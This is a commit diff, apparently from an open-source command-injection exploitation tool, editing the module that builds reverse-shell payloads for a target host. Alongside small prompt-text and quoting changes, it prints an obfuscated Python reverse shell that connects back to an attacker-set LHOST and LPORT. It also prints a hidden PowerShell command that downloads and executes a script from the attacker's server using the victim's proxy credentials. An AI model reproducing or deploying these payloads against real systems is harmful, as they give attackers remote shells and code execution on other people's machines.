@@ -122,7 +122,7 @@ def set_python_working_dir():
122
122
while True :
123
123
if not menu .options .batch :
124
124
question_msg = "Do you want to use '" + settings .WIN_PYTHON_DIR
125
- question_msg += "' as Python working directory on the target host? [Y/n] > "
125
+ question_msg += "' as Python interpreter on the target host? [Y/n] > "
126
126
python_dir = _input (settings .print_question_msg (question_msg ))
127
127
else :
128
128
python_dir = ""
@@ -131,8 +131,8 @@ def set_python_working_dir():
131
131
if python_dir in settings .CHOICE_YES :
132
132
break
133
133
elif python_dir in settings .CHOICE_NO :
134
- question_msg = "Please provide a custom working directory for Python (e.g. '"
135
- question_msg += settings . WIN_PYTHON_DIR + " ') > "
134
+ question_msg = "Please provide a full path directory for Python interpreter (e.g. '"
135
+ question_msg += "C: \\ Python27 \\ python.exe ') > "
136
136
settings .WIN_PYTHON_DIR = _input (settings .print_question_msg (question_msg ))
137
137
settings .USER_DEFINED_PYTHON_DIR = True
138
138
break
@@ -148,7 +148,7 @@ def set_python_interpreter():
148
148
while True :
149
149
if not menu .options .batch :
150
150
question_msg = "Do you want to use '" + settings .LINUX_PYTHON_INTERPRETER
151
- question_msg += "' as Python working interpreter on the target host? [Y/n] > "
151
+ question_msg += "' as Python interpreter on the target host? [Y/n] > "
152
152
python_interpreter = _input (settings .print_question_msg (question_msg ))
153
153
else :
154
154
python_interpreter = ""
@@ -158,7 +158,7 @@ def set_python_interpreter():
158
158
break
159
159
elif python_interpreter in settings .CHOICE_NO :
160
160
question_msg = "Please provide a custom working interpreter for Python (e.g. '"
161
- question_msg += settings . LINUX_PYTHON_INTERPRETER + " ') > "
161
+ question_msg += "python27 ') > "
162
162
settings .LINUX_PYTHON_INTERPRETER = _input (settings .print_question_msg (question_msg ))
163
163
settings .USER_DEFINED_PYTHON_INTERPRETER = True
164
164
break
@@ -380,7 +380,7 @@ def other_reverse_shells(separator):
380
380
381
381
# Windows Python-reverse-shell
382
382
elif other_shell == '8' :
383
- data = " -c \" (lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings .LHOST + "', " + settings .LPORT + ")), " \
383
+ data = "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings .LHOST + "', " + settings .LPORT + ")), " \
384
384
"[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \
385
385
" __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \
386
386
" {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \
@@ -400,15 +400,15 @@ def other_reverse_shells(separator):
400
400
"for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \
401
401
"for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \
402
402
"for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
403
- "globals(), __import__('contextlib'))\" "
403
+ "globals(), __import__('contextlib'))"
404
404
405
405
if not settings .TARGET_OS == "win" :
406
406
windows_only_attack_vector ()
407
407
continue
408
408
else :
409
409
if not settings .USER_DEFINED_PYTHON_DIR :
410
410
set_python_working_dir ()
411
- other_shell = settings .WIN_PYTHON_DIR + data
411
+ other_shell = settings .WIN_PYTHON_DIR + " -c " + " \" " + data + " \" "
412
412
break
413
413
414
414
# PHP-reverse-shell (meterpreter)
@@ -477,7 +477,7 @@ def other_reverse_shells(separator):
477
477
data = content_file .readlines ()
478
478
data = '' .join (data )
479
479
#data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
480
-
480
+
481
481
print (settings .SINGLE_WHITESPACE )
482
482
# Remove the ouput file.
483
483
os .remove (output )
@@ -491,7 +491,7 @@ def other_reverse_shells(separator):
491
491
if settings .TARGET_OS == "win" :
492
492
if not settings .USER_DEFINED_PYTHON_DIR :
493
493
set_python_working_dir ()
494
- other_shell = settings .WIN_PYTHON_DIR + " -c " + data
494
+ other_shell = settings .WIN_PYTHON_DIR + " -c " + " \" " + data + " \" "
495
495
else :
496
496
if not settings .USER_DEFINED_PYTHON_INTERPRETER :
497
497
set_python_interpreter ()
@@ -648,7 +648,7 @@ def other_reverse_shells(separator):
648
648
if settings .TARGET_OS == "win" :
649
649
if not settings .USER_DEFINED_PYTHON_DIR :
650
650
set_python_working_dir ()
651
- other_shell = settings .WIN_PYTHON_DIR + " -c " + data
651
+ other_shell = settings .WIN_PYTHON_DIR + " -c " + " \" " + data + " \" "
652
652
else :
653
653
if not settings .USER_DEFINED_PYTHON_INTERPRETER :
654
654
set_python_interpreter ()
@@ -669,8 +669,8 @@ def other_reverse_shells(separator):
669
669
continue
670
670
else :
671
671
other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str (settings .LHOST ) + ":" + str (settings .SRVPORT ) + settings .URIPATH + "');"
672
- msf_launch_msg (output )
673
- break
672
+ msf_launch_msg (output )
673
+ break
674
674
break
675
675
# Check for available shell options
676
676
elif any (option in other_shell .lower () for option in settings .SHELL_OPTIONS ):
0 commit comments